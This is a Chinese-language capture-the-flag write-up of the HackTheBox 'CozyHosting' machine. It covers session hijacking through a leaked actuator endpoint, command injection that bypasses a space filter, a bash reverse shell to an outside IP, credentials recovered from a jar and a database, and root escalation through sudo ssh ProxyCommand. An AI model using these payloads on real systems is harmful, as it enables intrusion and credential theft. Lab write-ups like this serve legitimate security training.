信息搜集
nmap
1 | sudo nmap -p- -sT --min-rate 3000 10.10.11.230 |
dirsearch
1 | dirsearch -u http://cozyhosting.htb/ |
寻找漏洞
在dirseach中的/actuator/sessions
发现泄露了用户名和其session
1 | 98CE8721F7394050CE8CC45241821BAD "kanderson" |
访问admin,用泄露的session尝试登陆,可以成功登陆
1 | GET /admin HTTP/1.1 |
其中存在一处连接ssh的功能,这里存在rce漏洞
利用漏洞
经过测试发现对host和username均做了过滤处理,但是在username处只是不能包含空格,可以使用%0a和%09等URL编码绕过空格过滤。;username这里存在rce
,但是不会有回显;但是可以给这条命令加上反引号导致回显(会将uid=1001(app)
当作命令执行),这有点像报错回显的感觉
HTTP 头中的 Location 字段用于指示客户端应该重定向到的 URL。当服务器返回带有 Location 头的响应时,客户端会自动重定向到指定的 URL。这通常用于实现页面重定向或者在需要时将客户端引导到另一个位置。Location 头通常与状态码 3xx(重定向)一起使用,以便告知客户端应该采取重定向操作。
于是构造payload反弹shell。(这后台还必须加一个分号才能反弹成功)
1 | bash -i>& /dev/tcp/10.10.16.45/5555 0>&1 |
user-app
1 | app@cozyhosting:/app$ ls |
将cloudhosting-0.0.1.jar
文件下载下来
1 | 方法一 |
将文件用jd-gui
反汇编,可以发现一对账号密码
cat /etc/passwd
中确实存在postgres
用户;尝试ssh登陆一直失败,尝试登陆数据库
1 | app:x:1001:1001::/home/app:/bin/sh |
psql
netstat -pantu | grep "5432"
netstat -pantu 是一个用于显示系统网络状态的命令。在这个命令中:
- -p 选项用于显示与进程相关的信息,包括进程 ID 和进程名称。
- -a 选项用于显示所有的连接和监听端口。
- -n 选项用于显示数字形式的 IP 地址和端口号,而不进行域名解析。
- -t 选项用于显示 TCP 连接的信息。
- -u 选项用于显示 UDP 连接的信息。
因此,netstat -pantu 命令会显示系统上所有的 TCP 和 UDP 连接,以及与这些连接相关的进程信息。
端口 5432
通常用于 PostgreSQL
数据库管理系统。这个端口是PostgreSQL
默认的数据库访问端口,用于客户端应用程序连接到 PostgreSQL 服务器。 PostgreSQL 是一个流行的开源关系型数据库管理系统,常用于各种类型的应用程序和网站。
登陆数据库
1 | python3 -c "import pty;pty.spawn('/bin/bash')" |
以下是一些常用的 psql 命令:
连接到数据库:
1
psql -U username -d dbname -h hostname
列出数据库:
1
\l
连接到数据库:
1
\c dbname
列出表:
1
\dt
显示表结构:
1
\d table_name
退出 psql:
1
\q
在本题中敏感信息存放在
cozyhosting
库中的users
表中
1 | cozyhosting=# select * from users; |
爆破admin
的密码居然是用户josh
的密码,这就有点离谱了;这里直接用ssh
可以连接
usr-josh
1 | ssh josh@10.10.11.230 |
sudo -l
1 | josh@cozyhosting:~$ sudo -l |
(root) /usr/bin/ssh *
表示以root身份运行ssh,*
表示可以使用任何参数
直接在这个网站寻找ssh
sudo提权;clink me
最终使用提权命令如下
1 | sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x |
补充
这是从cloudhosting-0.0.1.jar
的一段代码;这应该就是实现ssh
功能,过滤不当产生rce
漏洞的地方
1 | package BOOT-INF.classes.htb.cloudhosting.compliance; |
总结
namp
搜集开放80
端口;dirsearch
搜集到/admin
路由,/actuator/sessions
路由;/actuator/sessions
路由中泄露了用户kanderson
的session,可以用这session登陆到admin;在admin页面处的ssh
功能应过滤不当存在rce
漏洞,以至于可以反弹shell
,得到app
用户;又能在app用户中得到cloudhosting-0.0.1.jar
,而cloudhosting-0.0.1.jar
存在敏感信息;账号:postgres
,密码:Vg&nvzAQ7XxR
;尝试ssh连接不成功,连接数据库(这里注意是psql,从进程中得到这个信息);在数据库里能找到用户josh
的密码:manchesterunited;ssh连接成功,sudo -l
发现可以以root身份运行ssh
命令,在网上可以找到对应的提权方法,最终拿到root
。